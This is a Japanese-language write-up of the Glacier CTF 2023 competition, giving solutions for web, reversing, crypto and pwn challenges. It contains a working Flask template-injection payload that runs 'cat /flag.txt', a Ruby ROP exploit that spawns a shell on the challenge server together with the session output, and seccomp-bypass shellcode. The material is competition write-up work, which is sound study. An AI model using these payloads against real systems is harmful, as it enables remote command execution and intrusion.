Glacier CTF 2023 Writeup

はじめに

もう何年ぶりかわからない、たぶん6年ぶりぐらいに、リアルタイム開催のオンラインCTFに参加したので、そのWriteupをまとめておきます。すごく楽しかった。なんかもう一周回って楽しくなってきた。いろいろ反省点が見つかったので、次参加する際に改善していきたい。

チームの結果

チーム全体としては、3人で参加し、89位で546ポイント獲得しました。その内、自分はIntro問題すべてとRev、Cryptoを1つずつ解いて310ポイントをサブミットしました。

Scoreboard

Writeup

Intro

Welcome Challenge

公式DiscordのRuleにフラグがある。当時は、IRCとかだったのにもう時を感じる。

gctf{w3lc0m3_t0_g1ac13rctf_2023}

My first Website

Webサイトは、四則演算ができるサイトが題材になっていた。ヒントから、別のNot foundなページに誘導される。当初隠しディレクトリなどを探していたが、たまたまURLの欄に{{ 1+1 }}と入力すると、2となってレスポンスされることに気がついた。これを起点に任意コマンドを発行させて、フラグを取得。PythonのFlask製で、よくWeb問でテンプレートインジェクションで出される題材のような環境だった。

$ curl "https://myfirstsite.web.glacierctf.com/projects\{\{cycler.__init__.__globals__.os.popen('cat%20/flag.txt').read()\}\}"
<!DOCTYPE html><html><head><title>Custom 404 Page</title></head><body><h1>404 - Page Not Found</h1><p>Oops! The page you're looking for at /projectsgctf{404_fl4g_w4s_f0und} doesn't exist.</p></body></html>
gctf{404_fl4g_w4s_f0und}

Skilift

以下のVerilogのコードが渡されるので、処理を呼んで逆算するスクリプトを作成する。

module top(
    input [63:0] key,
    output lock
);
  
    reg [63:0] tmp1, tmp2, tmp3, tmp4;

    // Stage 1
    always @(*) begin
        tmp1 = key & 64'hF0F0F0F0F0F0F0F0;
    end
    
    // Stage 2
    always @(*) begin
        tmp2 = tmp1 <<< 5;
    end
    
    // Stage 3
    always @(*) begin
        tmp3 = tmp2 ^ "HACKERS!";
    end

    // Stage 4
    always @(*) begin
        tmp4 = tmp3 - 12345678;
    end

    // I have the feeling "lock" should be 1'b1
    assign lock = tmp4 == 64'h5443474D489DFDD3;

endmodule

特に特殊なこともしていないソルバ。

#!/usr/bin/env python
def sra(x,n,m):
    if x & 2**(n-1) != 0:  # MSB is 1, i.e. x is negative
        filler = int('1'*m + '0'*(n-m),2)
        x = (x >> m) | filler  # fill in 0's with 1's
        return x
    else:
        return x >> m
    
key = 0x5443474D489DFDD3
key += 12345678
key ^= 5206516634781635361
key = sra(key, 64, 5)
key &= 0xf0f0f0f0f0f0f0f0
print(hex(key))

初めてちゃんとVerilogのコードを読んだ気がする。

gctf{V3r1log_ISnT_SO_H4rd_4fTer_4ll_!1!}

ARISAI

RSA問題で、Nがすでに割れていたが、pqの積ではなく、複数の素数から成り立つMultiple prime RSAだった。

Broken RSA - バランスを取りたい

を参考にコードを書いてフラグを得る

from Crypto.Util.number import bytes_to_long, long_to_bytes

e=65537
n=1184908748889071774788034737775985521200704101703442353533571651469039119038363889871690290631780514392998940707556520304994251661487952739548636064794593979743960985105714178256254882281217858250862223543439960706396290227277478129176832127123978750828494876903409727762030036738239667368905104438928911566884429794089785359693581516505306703816625771477479791983463382338322851370493663626725244651132237909443116453288042969721313548822734328099261670264015661317332067465328436010383015204012585652642998962413149192518150858822735406696105372552184840669950255731733251466001814530877075818908809387881715924209232067963931299295012877100632316050826276879774867425832387424978221636157426227764972761357957047150626791204295493153062565652892972581618176577163744310556692610510074992218502075083140232623713873241177386817247671528165164472947992350655138814891455499972562301161585763970067635688236798480514440398603568227283629452476242623289661524243073929894099518473939222881149459574426407208658860251686137960952889074096311126991477096465624470265619377139983649503903820480974951491378311837933293607705488991162022547957926530402988912221198282579794590930661493745233069145707902854299501706154802038942258911515981663207152069613126155243024789689987554767962281273345273757236723762684230158310314189489269922058062081424352003908442430243686562569467793068370441732743572240164014190275463904986105758545036928880621165599686076511511089276388190078187849622221351011692443859919384379432387437072419707649486293684966456033518855679391672980173280496419686363359529398834403906418139786395934302273747490127295066208248715874656180233559644161531014137838623558729789331274400542717269108353265885948166102045041669627782992845494987948783304254174326130201166965174477449798721151991240203641
c=268829805459609475588440899873097740407996768854076329496002425282199615879909227647380967635165606878898541606457683227761652305836586321855100255485305118037701500609605019785162541750877335573032359895573772603246111506991979320486028250721513277767642375361127152574528694298160906073442383962020636918610527024050576972769852306021296823499884948279413653216802756618690182635446020844210831886652986287932378470425746444631963933610367607515800649608436183004088441881238148504635598468243968695248287570279766119573944421327504565309861792437849662128566261080923059583840204287527201636471106753069738472306223410300379312983945939043519755909420737707495224846116170095923898104488099329762265149868062693687303917610957104520999978944379566136253252697346935036425206126213766976582551430726756840294537354912787885103742021813054656962241068550049435394355553796824094853195888610994254949530524531633088750916669188277025883371307926545593346345011181011886157628805587723572874545440223921942144548540109099572715194182349314576321627183804149379561322969725485272107142991680959335537127382716195040449341448266408777436145121388591741613272241408064729715121476227737259932422493622000014673154665474739974557976672498027364986075870354093242809763072555932073688776712239151696700128393589329790478951588551070833013708885416360627613835550721939073618725634813608997025047929327270234611128029339388251117036658410438813874667672407000490721438737857471847655487642835059784967516451098631494261100960513521722400650533821661854325599281416744189966724295645707952292786069145361070873245192529272080607536319284389065418040578100669665069777133031446812281199863684982910055858515634879595144557407925298026899908970790756383369461817536923660051327566555421265363733995050644914554395836353253513
primes = [8441831, 8450987, 8452019, 8473027, 8476817, 8523661, 8525711, 8608673, 8633423, 8641453, 8725153** 2, 8786017, 8796721, 8824679, 8850601, 8913481, 8933437, 9016037, 9041551, 9075889, 9095939, 9126197, 9142547, 9163981, 9172531, 9196001, 9223867, 9253319, 9265309, 9277921, 9298747, 9300803, 9357883, 9368759, 9405353, 9444839, 9552029, 9569057, 9584371, 9663629, 9696719, 9720223, 9748049, 9770723, 9801269, 9828727, 9836483, 9838117, 9853043, 9873373, 9883469, 9884603, 9905167, 9989579, 10000759, 10064897, 10114409, 10122389, 10213001, 10214591, 10228861, 10235447, 10344643, 10428001, 10433911, 10438013, 10441523, 10476001, 10514083, 10523977, 10605817, 10650929, 10667479, 10699517, 10731407, 10732091, 10754837, 10773781, 10849837, 10861127, 10893173, 10918459, 10943417, 10944433, 11028001, 11049739, 11057621, 11073793, 11084419, 11113789, 11152859, 11156681, 11230451, 11239903, 11369903* 22, 11462177, 11470343, 11504419, 11519971, 11543971, 11559637, 11625619, 11633267, 11661121, 11768401, 11847721, 11909747, 11915809, 11925691, 11928173, 11945093, 11990089, 12010259, 12089663, 12109277, 12231853, 12240667, 12274813, 12319117, 12339689, 12350357, 12358079, 12387329, 12407609, 12407959, 12515033, 12550357, 12599803, 12621067, 12652597, 12705883, 12804707, 12808151, 12824027, 12932669, 12967831, 13046717, 13059269, 13076249, 13128433, 13170671, 13202297, 13227367, 13328803, 13366687, 13371181, 13415921, 13417357, 13424921, 13430423, 13534007, 13561657, 13566431, 13568981, 13587683, 13625263, 13653811, 13655797, 13669967, 13673927, 13755149, 13799299, 13823059, 13865617, 13870601, 13997617, 14013617, 14044937, 14046449, 14086979, 14103413, 14162843, 14217041, 14311291, 14339863, 14340289, 14377679, 14407667, 14423561, 14435203, 14465153, 14466281, 14475521, 14482381, 14535811, 14548939, 14549063, 14588369, 14624459, 14633851, 14650763, 14693927, 14713939, 14738869, 14797501, 14880347, 14910199, 14922409, 14982181, 15005579, 15020413, 15031937, 15103373, 15181499, 15185399, 15209617, 15232961, 15299831, 15365261, 15441739, 15459343, 15470893, 15475193, 15489707, 15501071, 15682181, 15689647, 15689981, 15707093, 15707143, 15748631, 15792169, 15793247, 15798877, 15922301, 15947639, 16032721, 16045049, 16071229, 16080319, 16175597, 16177433** 2, 16198717, 16199101, 16212913, 16225283, 16254883, 16312763, 16336267, 16359283, 16405027, 16432721, 16497373, 16593167, 16594681, 16629163, 16632713, 16643707, 16657153, 16679137, 16701907, 16738913, 16755269]
primes = [8441831, 8450987, 8452019, 8473027, 8476817, 8523661, 8525711, 8608673, 8633423, 8641453, 8725153, 8786017, 8796721, 8824679, 8850601, 8913481, 8933437, 9016037, 9041551, 9075889, 9095939, 9126197, 9142547, 9163981, 9172531, 9196001, 9223867, 9253319, 9265309, 9277921, 9298747, 9300803, 9357883, 9368759, 9405353, 9444839, 9552029, 9569057, 9584371, 9663629, 9696719, 9720223, 9748049, 9770723, 9801269, 9828727, 9836483, 9838117, 9853043, 9873373, 9883469, 9884603, 9905167, 9989579, 10000759, 10064897, 10114409, 10122389, 10213001, 10214591, 10228861, 10235447, 10344643, 10428001, 10433911, 10438013, 10441523, 10476001, 10514083, 10523977, 10605817, 10650929, 10667479, 10699517, 10731407, 10732091, 10754837, 10773781, 10849837, 10861127, 10893173, 10918459, 10943417, 10944433, 11028001, 11049739, 11057621, 11073793, 11084419, 11113789, 11152859, 11156681, 11230451, 11239903, 11369903, 11462177, 11470343, 11504419, 11519971, 11543971, 11559637, 11625619, 11633267, 11661121, 11768401, 11847721, 11909747, 11915809, 11925691, 11928173, 11945093, 11990089, 12010259, 12089663, 12109277, 12231853, 12240667, 12274813, 12319117, 12339689, 12350357, 12358079, 12387329, 12407609, 12407959, 12515033, 12550357, 12599803, 12621067, 12652597, 12705883, 12804707, 12808151, 12824027, 12932669, 12967831, 13046717, 13059269, 13076249, 13128433, 13170671, 13202297, 13227367, 13328803, 13366687, 13371181, 13415921, 13417357, 13424921, 13430423, 13534007, 13561657, 13566431, 13568981, 13587683, 13625263, 13653811, 13655797, 13669967, 13673927, 13755149, 13799299, 13823059, 13865617, 13870601, 13997617, 14013617, 14044937, 14046449, 14086979, 14103413, 14162843, 14217041, 14311291, 14339863, 14340289, 14377679, 14407667, 14423561, 14435203, 14465153, 14466281, 14475521, 14482381, 14535811, 14548939, 14549063, 14588369, 14624459, 14633851, 14650763, 14693927, 14713939, 14738869, 14797501, 14880347, 14910199, 14922409, 14982181, 15005579, 15020413, 15031937, 15103373, 15181499, 15185399, 15209617, 15232961, 15299831, 15365261, 15441739, 15459343, 15470893, 15475193, 15489707, 15501071, 15682181, 15689647, 15689981, 15707093, 15707143, 15748631, 15792169, 15793247, 15798877, 15922301, 15947639, 16032721, 16045049, 16071229, 16080319, 16175597, 16177433, 16198717, 16199101, 16212913, 16225283, 16254883, 16312763, 16336267, 16359283, 16405027, 16432721, 16497373, 16593167, 16594681, 16629163, 16632713, 16643707, 16657153, 16679137, 16701907, 16738913, 16755269]

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m

N = 1
phi = 1
for x in primes:
    N *= x
    phi *= x -1

d = modinv(e, phi)
pt = pow(c, d, N)
print(long_to_bytes(pt))
gctf{maybe_I_should_have_used_bigger_primes}

Los-ifier

statically linkedなバイナリのPwn問題。初見特に何もなさそうに見えるが、register_printf_specifiedという関数が呼ばれており、そこで登録されているハンドラ関数 printf_handlerの中にあるloscopyという改行文字までコピーする関数によりBOFが発生する。

size_t printf_handler(FILE *param_1,undefined8 param_2,undefined8 *param_3)

{
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  size_t len;
  undefined8 local_10;
  
  local_50 = 0;
  local_48 = 0;
  local_40 = 0;
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  local_10 = *(undefined8 *)*param_3;
  local_58 = 0x736f4c;
  loscopy((long)&local_58 + 3,local_10,L'\n');
  len = strlen((char *)&local_58);
  fwrite(&local_58,1,len,param_1);
  return len;
}

本バイナリは、statically linkedなバイナリなので、適当にsystem関数と/bin/sh文字列のアドレスを取得したら、あとはROPをするだけ。

#!/usr/bin/env ruby
# coding: ascii-8bit

require 'pwn'

context.log_level = :debug
if ARGV[0] == "r"
    host = "chall.glacierctf.com"
    port = "13392"
    libc = "libc.so.6"
else
    host = "localhost"
    port = "9999"
    libc = ELF.new "/lib/x86_64-linux-gnu/libc.so.6"
end

$z = Sock.new host, port
def z; $z; end

elf = ELF.new("chall")


addr_bin_sh = p64(0x478010)
addr_system = p64(0x404ae0)
addr_pop_rdi = p64(0x476f02)

payload = "A" * 85
payload += addr_pop_rdi
payload += addr_bin_sh
payload += p64(0x00000000004019cc) # ret
payload += addr_system
STDIN.gets
z.sendline(payload)

実行結果は下記の通りで、無事フラグをゲット

root@7875b9403dbd:~/work# ruby x.rb r
[INFO] "/root/work/chall"
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

[INFO] Switching to interactive mode
id
uid=1337 gid=1337 groups=1337
ls
app
flag.txt
cat flag.txt
gctf{l0ssp34k_UwU_L0v3U}  

Crypto

Missing bytes

RSA秘密鍵の公開鍵の一部であるModular Nが欠けているので、壊れたPEMファイルを読み解いて、鍵をリカバリーするという問題。DER構造体の特徴的なキーワードを使って、PEMファイルをパースするコードを書き、素数 、を見つけてNを算出し、ライブラリに任せて鍵ファイルを生成する

#!/usr/bin/env python

import base64
from io import BytesIO

base64encoded = open("priv.key").read()
data = base64.b64decode(base64encoded)

with BytesIO(data) as mem:
    n = mem.read(0x1c)
    
    encode = mem.read(0x1) # 0x02
    size = mem.read(0x1) # 0x3
    e = int.from_bytes(mem.read(ord(size)), 'big')
    print(f"e = {e}")
    
    encode = mem.read(0x1) # 0x2
    size = mem.read(0x1)
    actual_size = int.from_bytes(mem.read(2), 'big')
    d = int.from_bytes(mem.read(actual_size), 'big')
    print(f"d = {d}")
    
    encode = mem.read(0x1)
    size = mem.read(0x1) # 0x3
    actual_size = ord(mem.read(1))
    p = int.from_bytes(mem.read(actual_size), 'big')
    print(f"p = {p}")

    encode = mem.read(0x1)
    size = mem.read(0x1) # 0x3    
    actual_size = ord(mem.read(1))
    q = int.from_bytes(mem.read(actual_size), 'big')
    print(f"q = {q}")

    encode = mem.read(0x1)
    size = mem.read(0x1) # 0x3
    dp = int.from_bytes(mem.read(actual_size), 'big')

    encode = mem.read(0x1)
    size = mem.read(0x1) # 0x3
    dq = int.from_bytes(mem.read(actual_size), 'big')

    encode = mem.read(0x1)
    size = mem.read(0x1) # 0x3
    cofficient = int.from_bytes(mem.read(actual_size), 'big')

    N = p * q
    print(f"N = {N}")

    from Crypto.PublicKey import RSA
    key = RSA.construct((N, e, d, p, q))
    pem = key.export_key('PEM')
    print(pem.decode())
    with open("full-private.key", "wb") as fout:
        fout.write(pem)

鍵の生成に成功したら、あとは毎回忘れているopensslコマンドを使って対象ファイルを復号する。この時、-rawオプションをつけておかないと、PKCS1関連でエラーが出て正常に復号できないので注意が必要。参考: https://forum.hackthebox.com/t/weak-rsa/941/2

$ openssl rsautl -inkey full-private.key -decrypt -in ciphertext_mess
age -raw
The command rsautl was deprecated in version 3.0. Use 'pkeyutl' instead.
Hey Bob this is Alice.
I want to let you know that the Flag is gctf{7hi5_k3y_can_b3_r3c0ns7ruc7ed}

Rev

Password Recovery

典型的なCrackme問題で、ユーザ名とパスワードを聞かれる。ユーザ名は問題に記載されているLosCapitanである。 正しいパスワードをgctf{}で囲えばフラグになる。シンボルも消されているが、Ghidraで読み取るとstrcmpで比較しているのがわかるので、そこでブレークポイント貼って答えが出てくる。その答えをFLAGフォーマットで囲って回答になる。

gctf{]^WR\\lcTI}

解けなかった問題

FunChannel (Pwn)

seccompが利用されて下記のシステムコールしか使うことができないシェルコード問題。writeが使えないので、メモリ上にやレジスタに値を格納したら、あとは無限ループなどを駆使して、1byteずつ当てていく系のやつ。

  • read
  • openat
  • getdents

一見簡単そうに見えるが、ファイル名が不明なので、getdentsシステムコールを使ってファイル一覧を洗い出し、ファイルを特定する必要がある。紆余曲折しながら、コードが無限にバグってしまって、最後まで粘っていた。最後の最後にようやくファイル名を特定して、フラグの内容を当てに行っている間に時間切れになってしまった。たぶんファイルは、92b6a7746a414f259826adb75a8f6375.txtだと思っていて、フォーマットはあたっていたから、これだと信じたいけど、それもミスってたらもう部分点すらダメそう。

section .text
   global _start
_start:
   mov     r10, rdx
   xor     rdx, rdx      ; 0
   push    0x2e          ; "."
   mov     rsi, rsp      ;
   mov     rdi, 0xffffff9c ; AT_FDCWD
   mov     eax, 0x101  ; openat 
   syscall
   push    rax
forGetdents:
   mov     rdi, [rsp] ; fd
   mov     rdx, 0xf82; size
   lea     rsi, [r10+0x7d] ; buf
   mov     rax, 0x4e ; getdents
   syscall ; getdents(fd, buf, size)
   cmp rax, 0
   je error
   mov     r9, rax; nread
   xor     rax, rax ; bpos
for:
   lea     rdx, [rsi+rax] ; d
   lea     r8, [rdx + 0x12] ; d_name (ok)
   add     ax, [rdx + 0x10] ; bpos += d_reclen (ok)   
   call strlen
   mov rbx, "92b6a774"
   ; cmp QWORD [r8+rcx-8], rbx ; 6375.txt OK
   ; cmp QWORD [r8+rcx-8], rbx ; 6375.txt OK
   ; cmp QWORD [r8+rcx-12], rbx ; 5a8f 6375 OK
   ; cmp QWORD [r8+rcx-16], rbx ; adb75a8f OK
   ; cmp QWORD [r8+rcx-20], rbx ; 9826adb7 OK
   ; cmp QWORD [r8+rcx-24], rbx ; 4f259826 OK
   ; cmp QWORD [r8+rcx-28], rbx ; 6a414f25 OK
   ; cmp QWORD [r8+rcx-32], rbx; a7746a41 OK
   cmp QWORD [r8+rcx-36], rbx; 92b6a774
   ; cmp QWORD [r8+rcx-34], rbx; ?7a7 746a OK
   ; a7746a414f259826adb75a8f 6375.txt
   ;je loop
   je loop
cont:       
   cmp     rax, r9 ; if(bops < nread)
   jl      for
   jmp forGetdents
loop:
   jmp loop
error:
   syscall
strlen:
   push rbp
   mov rbp, rsp
   xor rcx,rcx
strlenLoop:
   cmp byte [r8+rcx], 0x0   
   je strlenEnd
   inc rcx
   jmp strlenLoop
strlenEnd:   
   leave
   ret